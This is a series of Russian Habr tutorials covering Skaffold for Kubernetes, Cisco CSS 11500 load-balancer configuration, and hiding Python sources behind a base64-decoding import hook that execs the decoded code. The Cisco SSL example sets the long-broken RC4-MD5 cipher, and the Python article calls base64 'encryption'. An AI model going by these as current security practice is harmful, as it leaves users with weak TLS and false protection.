3. Выберите «Fulfillment» из левого навигационного меню.
4. Включите настройку «Inline Editor».
5. Скопируйте содержимое файлов из директории `functions` в соответствующие вкладки в «Fulfillment».
6. Укажите ваш ключ доступа к GIPHY API во вкладке *index.js*.
7. Перейдите в консоль Firebase и смените ваш тарифный план на Flame или Blaze. Работа со сторонними сервисами по сети недоступна при бесплатном тарифном плане.
|
https://habr.com/ru/post/419261/
| null |
ru
| null |
# Обзор Skaffold для разработки под Kubernetes
Полтора года назад, 5 марта 2018, компания Google выпустила первую альфа-версию своего Open Source-проекта для CI/CD под названием [Skaffold](https://skaffold.dev/), целью которого стало создание «простой и воспроизводимой разработки под Kubernetes», чтобы разработчики могли сфокусироваться именно на разработке, а не на администрировании. Чем может быть интересен Skaffold? Как оказалось, у него есть несколько козырей в рукаве, благодаря которым он может стать сильным инструментом для разработчика, а может — и инженера по эксплуатации. Познакомимся с проектом и его возможностями.
***NB**: Кстати, мы уже рассказывали вкратце про Skaffold в нашем общем [обзоре инструментов для разработчиков](https://habr.com/ru/company/flant/blog/462707/), жизнь которых связана с Kubernetes.*
Теория. Предназначение и возможности
------------------------------------
Итак, если говорить в общем, то Skaffold решает задачу автоматизации цикла CI/CD (на стадиях build, push, deploy), предлагая разработчику оперативную обратную связь, т.е. возможность быстро получать результат очередных изменений кода — в виде обновлённого приложения, работающего в кластере Kubernetes. А работать оно может в разных контурах (dev, stage, production…), для чего Skaffold помогает описывать соответствующие пайплайны для выката.
Исходный код Skaffold написан на языке Go, распространяется на условиях свободной лицензии Apache License 2.0 ([GitHub](https://github.com/GoogleContainerTools/skaffold)).
Рассмотрим основные функции и особенности. К первым можно отнести следующие:
* Skaffold предлагает инструментарий для создания CI/CD-пайплайнов.
* Позволяет в фоновом режиме следить за изменениями в исходном коде и запускать автоматизированный процесс сборки кода в образы контейнеров, публикации этих образов в Docker Registry и их деплоя в кластер Kubernetes.
* Синхронизирует файлы в репозитории с рабочим каталогом в контейнере.
* Автоматически тестирует с помощью container-structure-test.
* Пробрасывает порты.
* Читает логи приложения, запущенного в контейнере.
* Помогает в отладке приложений, написанных на Java, Node.js, Python, Go.
Теперь — об особенностях:
* **У самого Skaffold нет компонентов на стороне кластера**. То есть дополнительно настраивать Kubernetes для использования этой утилиты не требуется.
* **Разные пайплайны для вашего приложения**. Нужно выкатывать код в локальный Minikube, пока ведете разработку, а после — на stage или production? Для этого предусмотрены [профили](https://skaffold.dev/docs/how-tos/profiles/) и пользовательские конфигурации, переменные окружения и флаги, что позволяют описывать разные пайплайны для одного приложения.
* **CLI**. Только консольная утилита и конфигурации в YAML. В сети можно найти упоминания попыток создания [экспериментального GUI](https://github.com/GoogleContainerTools/skaffold/issues/1658), однако на данный момент это скорее лишь означает, что он кому-то нужен, но не очень.
* **Модульность**. Skaffold не является самостоятельным комбайном, а стремится использовать отдельные модули или уже существующие решения для конкретных задач.
Иллюстрация последнего:
* На стадии сборки можно использовать:
+ docker build локально, в кластере с помощью kaniko или в Google Cloud Build;
+ Bazel локально;
+ Jib Maven и Jib Gradle локально или в Google Cloud Build;
+ кастомные build-скрипты, запускаемые локально. Если вам нужно запускать другое (более гибкое/привычное/…) решение для сборки, оно описывается в скрипте, чтобы Skaffold запускал именно его ([пример из документации](https://skaffold.dev/docs/how-tos/builders/#custom-build-script-run-locally)). Это позволяет использовать вообще любой сборщик, который можно вызвать с помощью скрипта;
* На стадии тестирования поддерживается уже упомянутый [container-structure-test](https://github.com/GoogleContainerTools/container-structure-test);
* Для деплоя предусмотрены:
+ Kubectl;
+ Helm;
+ kustomize.
Благодаря этому Skaffold можно назвать своеобразным **фреймворком для построения CI/CD**. Вот пример рабочего процесса при его использовании (из документации проекта):
Как в общих чертах выглядит работа Skaffold?
1. Утилита следит за изменениями в директории с исходным кодом. Если в файлы вносятся модификации, они синхронизируются с pod’ом приложения в кластере Kubernetes. Если это возможно — без повторной сборки образа. В ином случае — собирается новый образ.
2. Собранный образ проверяется с помощью container-structure-test, тегируется и отправляется в Docker Registry.
3. После этого образ деплоится — разворачивается в кластере Kubernetes.
4. Если запуск был инициализирован с помощью команды `skaffold dev`, то мы начинаем получать логи от приложения, а Skaffold ожидает изменений, чтобы повторить все действия заново.
*Иллюстрация основных этапов работы Skaffold*
Практика. Пробуем Skaffold
--------------------------
Для демонстрации использования Skaffold возьму пример из [GitHub-репозитория проекта](https://github.com/GoogleContainerTools/skaffold). Кстати, [там же](https://github.com/GoogleContainerTools/skaffold/tree/master/examples) можно найти и множество других примеров, учитывающих различную специфику. Все действия буду выполнять локально в Minikube. Установка простая и займет несколько минут, а для начала работы понадобится kubectl.
Установим Skaffold:
```
curl -Lo skaffold https://storage.googleapis.com/skaffold/releases/latest/skaffold-linux-amd64
chmod +x skaffold
sudo mv skaffold /usr/local/bin
skaffold version
v0.37.1
```
Склонируем себе репозиторий Skaffold'a с нужными примерами:
```
git clone https://github.com/GoogleContainerTools/skaffold
cd skaffold/examples/microservices
```
Я выбрал пример с двумя pod’ами, каждый из которых содержит по одному маленькому приложению на Go. Одно приложение — фронтенд (leeroy-web), перенаправляющий запрос на второе приложение — бэкенд (leeroy-app). Посмотрим, как это выглядит:
```
~/skaffold/examples/microservices # tree
.
├── leeroy-app
│ ├── app.go
│ ├── Dockerfile
│ └── kubernetes
│ └── deployment.yaml
├── leeroy-web
│ ├── Dockerfile
│ ├── kubernetes
│ │ └── deployment.yaml
│ └── web.go
├── README.adoc
└── skaffold.yaml
4 directories, 8 files
```
leeroy-app и leeroy-web содержат код на Go и простые Dockerfiles для локальной сборки этого самого кода:
```
~/skaffold/examples/microservices # cat leeroy-app/Dockerfile
FROM golang:1.12.9-alpine3.10 as builder
COPY app.go .
RUN go build -o /app .
FROM alpine:3.10
CMD ["./app"]
COPY --from=builder /app .
```
Код приложений приводить не буду — достаточно знать, что `leeroy-web` принимает запросы и проксирует их на `leeroy-app`. Поэтому в файлах `Deployment.yaml` существует Service только для `app` (для внутренней маршрутизации). Порт pod’а `web` мы будем прокидывать себе для быстрого доступа к приложению.
Как выглядит `skaffold.yaml`:
```
~/skaffold/examples/microservices # cat skaffold.yaml
apiVersion: skaffold/v1beta13
kind: Config
build:
artifacts:
- image: leeroy-web
context: ./leeroy-web/
- image: leeroy-app
context: ./leeroy-app/
deploy:
kubectl:
manifests:
- ./leeroy-web/kubernetes/*
- ./leeroy-app/kubernetes/*
portForward:
- resourceType: deployment
resourceName: leeroy-web
port: 8080
localPort: 9000
```
Здесь описываются все стадии, упомянутые выше. Кроме этого конфига есть и файл с глобальными настройками — `~/.skaffold/config`. Его можно редактировать вручную или же через CLI — например, так:
```
skaffold config set --global local-cluster true
```
Эта команда установит глобальную переменную `local-cluster` в значение `true`, после чего Skaffold не будет пытаться за’push’ить образы в удаленный реестр. Если вы ведете разработку локально, можно воспользоваться этой командой, чтобы складывать образы так же локально.
Вернемся к `skaffold.yaml`:
* На стадии `build` мы указываем, что собрать и сохранить образ нужно локально. После того, как впервые запустится сборка, увидим следующее:
```
// т.к. Minikube создает кластер в отдельной виртуальной машине,
// придется проникнуть внутрь, чтобы найти образы
# minikube ssh
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
leeroy-app 7d55a50803590b2ff62e47e6f240723451f3ef6f8c89aeb83b34e661aa287d2e 7d55a5080359 4 hours ago 13MB
leeroy-app v0.37.1-171-g0270a0c-dirty 7d55a5080359 4 hours ago 13MB
leeroy-web 5063bfb29d984db1ff70661f17d6efcc5537f2bbe6aa6907004ad1ab38879681 5063bfb29d98 5 hours ago 13.1MB
leeroy-web v0.37.1-171-g0270a0c-dirty 5063bfb29d98 5 hours ago 13.1MB
```
Как видно, Skaffold самостоятельно протегировал образы. Кстати, поддерживается несколько политик тегирования.
* Далее в конфиге указано `context: ./leeroy-app/`, т.е. задан контекст, в котором собирается образ.
* На стадии деплоя определяется, что использовать будем kubectl и маску для нужных манифестов.
* `PortForward`: аналогично тому, как мы обычно прокидываем порты с помощью `kubectl port-forward`, даём инструкции Skaffold для вызова этой команды. В данном случае — локальный порт 9000 пробрасывается на 8080 в Deployment’е с именем `leeroy-web`.
Самое время запустить `skaffold dev`: команда создаст продолжающийся «цикл обратной связи», т.е. не только соберет все и задеплоит в кластер, но и расскажет о состоянии pod’ов в данный момент, будет следить за изменениями и обновлять состояние pod’ов.
Вот результат запуска `skaffold dev --port-forward` при повторной сборке:
Во-первых, видно, что используется кэш. Далее — приложение собирается, деплоится, пробрасываются порты. Поскольку указан `--port-forward`, Skaffold пробросил порт до `web`, как его просили, а вот `app` он пробросил по собственному усмотрению (выбрал ближайший свободный). После этого мы получаем первые логи от приложений.
Проверим работоспособность?
```
~/skaffold/examples/microservices # kubectl get po
NAME READY STATUS RESTARTS AGE
leeroy-app-6998dfcc95-2nxvf 1/1 Running 0 103s
leeroy-web-69f7d47c9d-5ff77 1/1 Running 0 103s
~/skaffold/examples/microservices # curl localhost:9000
leeroooooy app!!!
```
Модифицируем файл `leeroy-app/app.go` — проходит несколько секунд… и:
```
~/skaffold/examples/microservices # kubectl get po
NAME READY STATUS RESTARTS AGE
leeroy-app-ffd79d986-l6nwp 1/1 Running 0 11s
leeroy-web-69f7d47c9d-5ff77 1/1 Running 0 4m59s
~/skaffold/examples/microservices # curl localhost:9000
leeroooooy Habr!!!
```
При этом сам Skaffold вывел в консоль то же самое, что и раньше, за исключением одного момента: он выкатил только `leeroy-app`, а не все сразу.
Больше практики
---------------
Стоит упомянуть и то, что при создании нового проекта конфиги для Skaffold можно за’bootstrap’ить с помощью команды `init`, что очень удобно. К тому же, можно написать несколько конфигов: вести разработку на конфиге по умолчанию, после чего выкатиться на stage командой `run` (тот же процесс, что и `dev`, только не следит за изменениями), воспользовавшись другим конфигом.
На katacoda есть [руководство](https://www.katacoda.com/lizrice/courses/containers-and-go/skaffold) с примером ещё проще. Зато там предлагается уже готовая песочница с Kubernetes, приложением и Skaffold. Отличный вариант, если вам интересно самостоятельно попробовать самые основы.
Один из возможных вариантов использования Skaffold — ведение разработки на удаленном кластере. Не всем удобно запускать Minikube на собственном железе, после чего выкатывать приложение и ожидать его адекватного функционирования… В таком случае Skaffold отлично решает поставленную задачу, что могут подтвердить, например, инженеры Reddit, о чем мы уже [писали](https://habr.com/ru/company/flant/blog/441754/) в нашем блоге.
А в [этой публикации](https://www.weave.works/blog/weaveworks-gitops-developer-toolkit-part-one-skaffold) от Weaveworks можно найти пример создания пайплайна для production.
Заключение
----------
Skaffold — удобный инструмент для построения пайплайнов, подразумевающих выкат приложений в Kubernetes и ориентированных в первую очередь на нужды разработки. С ним довольно просто создавать «короткий» пайплайн, учитывающий основные потребности разработчика, однако при желании можно организовывать и более масштабные процессы. В качестве одного из наглядных примеров применения Skaffold в CI/CD-процессах [приводится](https://github.com/GoogleContainerTools/skaffold/issues/346) такой [тестовой проект](https://github.com/GoogleCloudPlatform/microservices-demo/) из 10 микросервисов, использующих возможности Kubernetes, gRPC, Istio и OpenCensus Tracing.
Skaffold уже получил почти 8000+ звезд на GitHub, разрабатывается Google и входит в состав [GoogleContainerTools](https://github.com/GoogleContainerTools) — в общем, на данный момент есть все основания полагать, что проект будет развиваться долго и счастливо.
P.S.
----
Читайте также в нашем блоге:
* «[Инструменты для разработчиков приложений, запускаемых в Kubernetes](https://habr.com/ru/company/flant/blog/462707/)»;
* «[werf — наш инструмент для CI/CD в Kubernetes (обзор и видео доклада)](https://habr.com/ru/company/flant/blog/460351/)»;
* «[Garden v0.10.0: Вашему ноутбуку не нужен Kubernetes](https://habr.com/ru/company/flant/blog/459586/)»;
* «[Kubernetes tips & tricks: о локальной разработке и Telepresence](https://habr.com/ru/company/flant/blog/446788/)».
|
https://habr.com/ru/post/474692/
| null |
ru
| null |
# Небольшая шпаргалка по Cisco CSS 11500
Добрый день, уважаемые читатели! К сожалению, на Хабре практически нет упоминаний об этих замечательных устройствах, очевидно ввиду их возраста, но имеются статьи по более молодому оборудованию Cisco ACE. Но, несмотря на некоторую непопулярность, Cisco CSS 11500 Series Content Services Switches всё же встречаются в корпоративных сетях и первое столкновение с неподготовленным администратором может вызвать у него легкое недоумение. Не обращайте внимания на кажущуюся сложность, эти железки удивительно просты в конфигурировании.
Я, пожалуй, пропущу описание аппаратных особенностей этого оборудования, так как оно есть на сайте производителя и сразу перейду к делу.
Первое, с чего мы начнем — это обновление программного обеспечения и создание комфортного режима работы.
Настройка управляющего интерфейса:
```
CSS11503# conf t
CSS11503(config)# boot
CSS11503(config-boot)# ip address 192.168.1.2
CSS11503(config-boot)# subnet mask 255.255.255.0
CSS11503(config-boot)# gateway address 192.168.1.1
```
Зададим отображаемое в консоли имя устройства (не более 16 символов):
```
CSS11503# prompt megabalanser
megabalanser# save_profile
```
Обращаю ваше внимание, что в строке описания пользователя, из под которого выполняется администрирование, должно быть ключевое слово **superuser**, иначе вам может потребоваться увлекательнейшее знакомство с процессом восстановления пароля с помощью консоли.
Обновим программное обеспечение:
```
megabalanser# archive script admin-profile
megabalanser# save_profile
megabalanser(config)# ftp-record ftpname 10.10.10.10 ftpuser "ftppassword"
megabalanser# copy ftp ftpname sg0820601.adi boot-image
megabalanser(config)# boot
megabalanser(config-boot)# unpack sg0820601.adi
megabalanser(config-boot)# primary boot-file sg0820601
megabalanser(config-boot)# reboot
Are you sure you want to reboot the system, [y/n]:y
** Message from [admin] **
System Reboot from:vty1, All sessions will terminate...
**
...
megabalanser# restore admin-profile script
```
Создаем нашу конфигурацию. Предположим, что у нас есть сеть 192.168.200.0/24, в кторой расположены 2 сервера: 192.168.200.100 и 192.168.200.101. Адрес балансировщика в этой сети — 192.168.200.10. Адрес внешнего интерфейса балансировцика — 192.168.100.10/24. Здесь и далее приводятся примеры из конфигурационного файла, без указания заголовка командной строки.
```
ip route 0.0.0.0 0.0.0.0 192.168.100.1 1
interface 2/1
bridge vlan 10
interface 3/1
bridge vlan 20
circuit VLAN10
description "--- External ---"
ip address 192.168.100.10 255.255.255.0
circuit VLAN20
description "--- Internal ---"
ip address 192.168.200.10 255.255.255.0
```
Порты могут быть настроены и транком 802.1Q:
```
interface 2/1
trunk
vlan 10
vlan 20
circuit VLAN10
description "--- External ---"
ip address 192.168.100.10 255.255.255.0
circuit VLAN20
description "--- Internal ---"
ip address 192.168.200.10 255.255.255.0
```
Выполним конфигурирование простой балансировки между двумя серверами. Для того, чтобы нас на спрашивали подтверждения на создание сервисов, можно включить режим **expert**. В моем случае, проверка доступности серверов осуществляется путем отправки GET запроса к серверу, получаемый ответ (я оправляю «OK») анализируется и сравнивается с эталонным значением. Первым этапом описываем сервисы.
```
service server-1
port 80
ip address 192.168.200.100
keepalive type http
keepalive method get
keepalive uri "/ping.html"
keepalive hash "e0aa021e21dddbd6d8cecec71e9cf564"
active
service server-2
port 80
ip address 192.168.200.101
keepalive type http
keepalive method get
keepalive uri "/ping.html"
keepalive hash "e0aa021e21dddbd6d8cecec71e9cf564"
active
```
Создаем владельца («owner») и контент. Понятие «владелец» необходимо только для удобства администрирования. обратите внимание на используемый метод балансировки — большинство современных приложений потребуют что бы пользователь, в рамках сессии, общался с одной и той же нодой. В качестве адреса контента, куда будут обращаться пользователи, будет выступать 192.168.100.11.
```
owner site-1
content site-http
vip address 192.168.100.11
add service server-1
add service server-2
advanced-balance sticky-srcip-dstport
port 80
protocol tcp
active
```
Так как мы, наверняка, хотим, чтобы ответы пользователям так же возвращались с адреса 192.168.100.11, то необходимо создать соответствующую группу:
```
group site-http
add destination service server-1
add destination service server-2
vip address 192.168.100.11
active
```
Давайте проверим, что же у нас получилось:
```
megabalanser# sh group site-http
Group: site-http - Active (192.168.100.11 Not Redundant)
Session Redundancy: Disabled
Last Clearing of Stats Counters: 01/24/2013 21:44:18
Associated ACLs: NONE
Source Services:
NONE
Destination Services:
DNS
Name: Hits: State: Load: Trans: Keepalive: Conn:
----- ----- ------ ----- ------ ---------- -----
server-1
0 Alive 2 0 HTTP-80:GET 0
server-2
0 Alive 2 0 HTTP-80:GET 0
Group Service Total Counters:
Hits/Frames/Bytes: 0/0/0
Connections Total/Current: 0/0
FTP Control Total/Current: 0/0
Total No Portmap Errors: 0
```
А теперь представим, что у вашего балансировщика есть SSL-модуль, и вы хотите им поспользоваться для организации безопасного подключения пользователей к сервису. Нам понадобиться сформировать запрос на сертификат (или сделать самоподписанный), настроить модуль и создать группы.
Генерируем ключ:
```
ssl genrsa rsakeyfiletest 1024 "password"
```
Привязываем ключ к файлу:
```
ssl associate rsakey rsa-test-name rsakeyfiletest
```
Вот тут мы можем пойти двумя путями — или создаем самоподписанный сертификат или генерируем Certificate Signing Request (CSR). В случае CSR нам необходимо скопировать вывод и предоставить его в CA, для выдачи сертификата:
```
ssl gencsr rsa-test-name
-----BEGIN CERTIFICATE REQUEST-----
MIIB0DCCATkCAQAwgY8xCzAJBgNVBAYTAlJVMQ8wDQYDVQQIEwZNb3Njb3cxDzAN
BgNVBAcTBk1vc2NvdzEcMBoGA1UEChQTUm9zc2dvc3N0YWtoIExyf3RkLjEQMA4G
A1UECxQHVGVsY28gfzERMA8GA1UEAxQIKi5yZ3MucnUxGzAZBgkqhkiG9w0BCQEW
DHRlbGNvQHJncy5ydTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAxZTYAx/o
VA4KzpX7pq4013egDFC1BfVDRzWJJhno7k5K4ydPrmVZhECKormSebSGBL00cFKs
M8ve7WGW370YxaIKbKZBFF88Dz+PbtphpcneN1DWakmz7H063tiUl4zb2cv09cMn
XTKIgL6z5RyVyqjMtC5ba5XWVGdeD25N6OkCAwEAAaAAMA0GCSqGSIb3DQEBBAUA
A4GBABRNbvf4a3SC8RZdSoaOjwuRvqs5rgO3z+CPlgqER7xQZx/FVOHu6y9fv6bZ
hiq0bP1meRmMDmb2aXbk2RysVeKRIY6c6fYrhuddT8gd4E0BkIVF299D4m2nqLyQ
SK0X9VaLIVD59oX2BYNBXpFiXNdv1nmwZL4uNP6I4D5dXgVo
-----END CERTIFICATE REQUEST-----
```
Генерируем самоподписанный сертификат:
```
ssl gencert certkey rsa-test-name signkey rsa-test-name certfiletest "password"
```
Привязываем сертификат к файлу:
```
ssl associate cert cert-test-name certfiletest
```
Или импортируем сертификат, после чего привязываем его к файлу. Обратите внимание, что пароль должен соответствовать паролю ключа, с которым генерировался CSR. Как вы могли заметить, при использовании SSL модуля у нас появляется функционал сжатия трафика. Если вы используете несколько SSL-модулей, то можно настроить балансировку между ними, добавив строку **advanced-balance ssl** в описание контента (в примере — «content site-https»).
```
copy ssl ftp ftpname import mycert.crt PEM "password"
ssl associate cert mycert-name mycert.crt
```
Я думаю, что вам должно быть интересно отслеживать срок действия сертификатов, поэтому стоит запомнить команду:
```
megabalanser# sh ssl cert-expiration
Certificate Expiration Summary:
Advanced Warning: 30 days
mycert-name 2014-01-24(Y-M-D) TTL: 364
cert-test-name 2014-01-10(Y-M-D) TTL: 350
```
С сертификатами разобрались, теперь настраиваем логику. Обращаю внимание. что эта часть дополняет, а не заменяет настройку сервисов и групп, указанных выше.
```
ssl-proxy-list my-ssl
ssl-server 10
ssl-server 10 rsacert mycert-name
ssl-server 10 rsakey rsa-test-name
ssl-server 10 cipher rsa-with-rc4-128-md5 192.168.100.11 80
ssl-server 10 vip address 192.168.100.11
service ssl_module
type ssl-accel
keepalive type none
compress encode force-gzip
slot 3
compress accept-omit gzip
compress type default
add ssl-proxy-list my-ssl
active
content site-https
vip address 192.168.100.11
add service ssl_module
port 443
protocol tcp
application ssl
active
```
Обратите внимание, что балансировщик весьма вольно обращается с порядком строк внутри сервисов. Если вы привыкли, чтобы все было параллельно и перпендикулярно, то лучше удалять сервис целиком и заводить его заново, а не удалять старые и вставлять новые строки.
Используемая литература:
[Cisco CSS 11500 Series Content Services Switches Configuration Guides](http://www.cisco.com/en/US/products/hw/contnetw/ps792/products_installation_and_configuration_guides_list.html)
P.S. С учетом того, сколько такая техника стоит на ebay, я считаю, это неплохой вариант для организации балансировки ресурсов, несмотря на некоторое моральное устаревание. Большая часть балансировщиков имеет приличный вес (для тщедушных инженеров это может стать проблемой), возможность установки нескольких блоков питания и модулей ввода/вывода, что некоторым образом говорит в пользу надежности этих устройств.
|
https://habr.com/ru/post/167037/
| null |
ru
| null |
# Об одном способе защиты исходников Python-программы
#### Как всё начиналось
Однажды мне пришлось участвовать в разработке одного небольшого проекта для научных расчётов, который разрабатывался на языке программирования Python. Изначально Python был выбран как удобный и гибкий язык для экспериментов, визуализации, быстрого прототипирования и разработки алгоритмов, но в дальнейшем стал основным языком разработки проекта. Надо заметить, что проект был хоть и не большим, но довольно насыщенным технически. Для обеспечения требуемой функциональности, в проекте широко применялись алгоритмы теории графов, математическая оптимизация, линейная алгебра и статистика. Также использовались декораторы, метаклассы и инструменты интроспекции. В процессе разработки пришлось использовать сторонние математические пакеты и библиотеки, например, такие как numpy и scipy, а также многие другие.
Со временем стало ясно, что переписывать проект на компилируемом языке слишком затратно по времени и ресурсам. Скорость работы и потребление памяти не являлись критичными показателями в данном случае и были вполне приемлемыми и достаточными. Поэтому было принято решение оставить всё как есть, и продолжить разработку и поддержку проекта на языке Python. К тому же, документация по большей части уже была написана с использованием [Sphinx](http://sphinx-doc.org/).
Проект являлся библиотекой, функции которой использовались в одном из модулей расширения в крупном программном комплексе. Программный комплекс был написан на C++, являлся коммерческим продуктом, имел защиту с аппаратным ключом и поставлялся клиентам без предоставления исходных кодов.
Здесь сразу обозначилась новая проблема: как защитить исходные коды нашей Python-библиотеки? Может быть, в ином случае никто бы не стал этим заниматься, я бы уж точно, но в библиотеке были реализованы некоторые ноу-хау, и руководители проекта не хотели, чтобы данные наработки попали к конкурентам. Так как я был одним из исполнителей, мне пришлось озаботиться данной проблемой. Далее я постараюсь рассказать об основной идее, что из этого вышло, и как нам удалось скрыть Python-исходники от лишних глаз.
#### Что предлагают люди
Как известно, наверное, большинству разработчиков, Python — язык интерпретируемый, динамический с богатыми возможностями интроспекции. Бинарные файлы модулей \*.pyc и \*.pyo (байт-код) легко декомпилируются, поэтому распространять их в чистом виде нельзя (если уж мы решили не показывать исходники по-настоящему).
Как, я думаю, любой на моём месте, сначала я решил поискать, а что вообще делают люди в таких случаях? Первые же поисковые запросы показали, что люди не знают, что делать и спрашивают об этом на stackoverflow и в других местах, например, вот [вопрос на stackoverflow](http://stackoverflow.com/questions/261638/how-do-i-protect-python-code). Поискав, я пришёл к выводу, что везде предлагают несколько спорных способов:
* Забить и не париться, всё равно, кому надо — расковыряет;
* Переписать на компилируемом языке;
* Сделать обфускацию исходников, например с помощью [раз](https://github.com/astrand/pyobfuscate) и [два](http://www.bitboost.com/);
* Транслировать все Python-модули в модули расширения (\*.pyd) с помощью Cython или [Nuitka](http://nuitka.net/) (как сделал [warsoul](https://habrahabr.ru/users/warsoul/) — автор [данной статьи](http://habrahabr.ru/post/138537/));
* Заменить опкоды в исходниках Python-интерпретатора и распространять свою сборку, как [предлагал](http://habrahabr.ru/post/138537/#comment_4627302) [hodik](https://habrahabr.ru/users/hodik/).
По многим причинам я отбросил все эти способы как неподходящие. Например, обфускация Python-кода. Ну какая может быть обфускация, когда синтаксис языка построен на отступах, а сам язык пронизан «хитрой интроспекцией»? Транслировать все Python-модули в бинарные модули расширения тоже не представлялось возможным, т. к. проект, напомню, был достаточно сложным технически с использованием множества сторонних пакетов, да и сам состоял из большого числа модулей в многоуровневой иерархии пакетов, которые было утомительно перегонять в \*.pyd, а потом ловить баги, вылезающие на ровном месте. Возиться с заменой опкодов не хотелось, так как пришлось бы распространять и поддерживать собственную сборку интерпретатора Python, да ещё и компилировать им Python-модули всех используемых сторонних библиотек.
В какой-то момент мне показалось, что эта идея с защитой Python-исходников бесполезная, надо всё это бросить и убедить руководство, что ничего не выйдет и заняться чем-нибудь полезным. Отдаём \*.pyc файлы и ладно, кто там будет разбираться? Убедить не получилось, переписывать библиотеку на C++ никому не хотелось, а проект нужно было сдавать. В итоге всё же кое-что получилось сделать. Об этом, если всё ещё интересно, можно прочитать далее.
#### Что сделали мы
Что может лучше всего защитить какую-либо информацию на цифровом носителе от посторонних? Я думаю, что это шифрование. Вооружившись этой фундаментальной идеей, я решил, что исходники надо шифровать, а иначе и быть не должно. Для стороннего наблюдателя, который начал проявлять излишний интерес, всё это должно выглядеть как куча непонятных файлов с непонятным содержимым. Вполне себе обфускация, но более продвинутая чем заменять имена переменных и вставлять пустые строчки.
Ход моих мыслей был следующим:
* Шифруем каким-либо способом все исходники нашей Python-библиотеки, можно их даже перемешать и изменить имена файлов модулей и пакетов;
* Пишем обвязку для того, чтобы Python-интерпретатор умел загружать и импортировать модули из зашифрованных текстовых файлов (расшифровка, восстановление структуры пакетов и имён файлов, импорт и т. д.);
* «Прячем» всё это в бинарный модуль расширения (\*.pyd), чтобы *никто не догадался*.
Основная идея, думаю, ясна — это более продвинутая обфускация. Как это сделать? Погуглив, я пришёл к выводу, что сделать это вполне реально и даже достаточно просто. С шифрованием исходников всё понятно, зашифровать и/или обфусцировать файлы можно множеством способов, главное, чтобы там была «каша» и «ничего не понятно», а также всё это должно возвращаться к первоначальному виду неизвестным способом (в случае обфускации). Для приведённого здесь примера я буду использовать Python-модуль [base64](http://docs.python.org/2/library/base64.html) для «шифрования». В некритичных случаях можно применять замечательный пакет [obfuscate](https://pypi.python.org/pypi/obfuscate/0.2.2).
##### Python the Importer Protocol
Как же нам реализовать возможность импортировать модули из зашифрованных файлов? К счастью, в Python реализована система хуков при импорте, которая работает на основе Importer Protocol ([PEP 302](http://www.python.org/dev/peps/pep-0302/#specification-part-1-the-importer-protocol)). Значит эту возможность и будем использовать. Для перехвата импортов используется словарь `sys.meta_path`, в котором должны храниться объекты `finder/loader`, реализующие Importer Protocol. Опрос этого словаря всегда происходит до того момента, как будут проверены пути в `sys.path`.
Для минимальной реализации протокола импорта нужно реализовать два метода: `find_module` и `load_module`. Метод `find_module` отвечает за поиск конкретного модуля/пакета (ведь нам нужно перехватывать импорт только своих модулей, а остальные отдавать на откуп стандартному механизму), а метод `load_module`, соответственно, загружает конкретный модуль только если он был «найден» в методе `find_module`.
Итак, вроде бы добрались до сути. Можно привести простой пример. Минимальный пример класса, реализующего Importer Protocol, подходящего для наших целей. Он будет заниматься импортом модулей «зашифрованных» base64 из обычной структуры пакетов (в данном случае для простоты мы просто «зашифровали содержимое» файлов, но никак не меняли их имена и структуру пакетов). Считаем, что расширения файлов для наших модулей будут гордо называться ".b64".
**Класс импортёра**
```
#coding=utf-8
import os
import sys
import imp
import base64
EXT = '.b64'
#===============================================================================
class Base64Importer(object):
"""Служит для поиска и импорта python-модулей, кодированных в base64
Класс реализует Import Protocol (PEP 302) для возможности импортирования
модулей, зашифрованных в base64 из указанного пакета.
"""
#---------------------------------------------------------------------------
def __init__(self, root_package_path):
self.__modules_info = self.__collect_modules_info(root_package_path)
#---------------------------------------------------------------------------
def find_module(self, fullname, path=None):
"""Метод будет вызван при импорте модулей
Если модуль с именем fullname является base64 и находится в заданной
папке, данный метод вернёт экземпляр импортёра (finder), либо None, если
модуль не является base64.
"""
if fullname in self.__modules_info:
return self
return None
#---------------------------------------------------------------------------
def load_module(self, fullname):
"""Метод загружает base64 модуль
Если модуль с именем fullname является base64, то метод попытается его
загрузить. Возбуждает исключение ImportError в случае любой ошибки.
"""
if not fullname in self.__modules_info:
raise ImportError(fullname)
# Для потокобезопасности
imp.acquire_lock()
try:
mod = sys.modules.setdefault(fullname, imp.new_module(fullname))
mod.__file__ = "<{}>".format(self.__class__.__name__)
mod.__loader__ = self
if self.is_package(fullname):
mod.__path__ = []
mod.__package__ = fullname
else:
mod.__package__ = fullname.rpartition('.')[0]
src = self.get_source(fullname)
try:
exec src in mod.__dict__
except:
del sys.modules[fullname]
raise ImportError(fullname)
finally:
imp.release_lock()
return mod
#---------------------------------------------------------------------------
def is_package(self, fullname):
"""Возвращает True если fullname является пакетом
"""
return self.__modules_info[fullname]['ispackage']
#---------------------------------------------------------------------------
def get_source(self, fullname):
"""Возвращает исходный код модуля fullname в виде строки
Метод декодирует исходные коды из base64
"""
filename = self.__modules_info[fullname]['filename']
try:
with file(filename, 'r') as ifile:
src = base64.decodestring(ifile.read())
except IOError:
src = ''
return src
#---------------------------------------------------------------------------
def __collect_modules_info(self, root_package_path):
"""Собирает информацию о модулях из указанного пакета
"""
modules = {}
p = os.path.abspath(root_package_path)
dir_name = os.path.dirname(p) + os.sep
for root, _, files in os.walk(p):
# Информация о текущем пакете
filename = os.path.join(root, '__init__' + EXT)
p_fullname = root.rpartition(dir_name)[2].replace(os.sep, '.')
modules[p_fullname] = {
'filename': filename,
'ispackage': True
}
# Информация о модулях в текущем пакете
for f in files:
if not f.endswith(EXT):
continue
filename = os.path.join(root, f)
fullname = '.'.join([p_fullname, os.path.splitext(f)[0]])
modules[fullname] = {
'filename': filename,
'ispackage': False
}
return modules
```
Как это работает? Первым делом при создании экземпляра класса собирается информация о модулях нашей библиотеки, которую мы «шифруем». Затем при загрузке конкретного модуля, читается нужный «зашифрованный» файл, «расшифровывается» и импортируется с помощью средств модуля `imp` уже из «расшифрованной» текстовой строки. Как использовать данный класс? Очень легко. Буквально, одной строчкой включается возможность импортировать «зашифрованные» исходники нашей библиотеки, а по сути ставится хук на импорт:
```
sys.meta_path.append(Base64Importer(root_pkg_path))
```
где `root_pkg_path` абсолютный или относительный путь к корневому пакету нашей библиотеки. При этом, убирая данную строчку, мы можем использовать обычные исходники, если они доступны. Всё происходит абсолютно прозрачно, а все изменения происходят в одном месте.
